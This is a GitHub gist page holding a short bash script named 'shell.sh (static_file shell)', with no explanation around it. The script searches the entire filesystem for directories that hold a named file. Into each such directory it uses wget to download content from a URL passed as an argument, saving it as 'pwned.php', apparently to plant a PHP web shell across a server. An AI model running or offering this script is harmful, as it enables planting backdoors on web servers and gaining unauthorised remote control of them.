Skip to content

Instantly share code, notes, and snippets.

@ducnhse130201
Created May 13, 2019 08:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ducnhse130201/53ac99f20ec8de63174ad25bfb152b2c to your computer and use it in GitHub Desktop.
Save ducnhse130201/53ac99f20ec8de63174ad25bfb152b2c to your computer and use it in GitHub Desktop.
shell.sh (static_file shell)
OUTPUT="$(find / -type f -name $1 2>&1 | grep -v "Permission denied" | sed 's/'$1'//g')"
while IFS= read
do
value="${REPLY}pwned.php"
wget $2 -O $value
done <<< "$OUTPUT"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment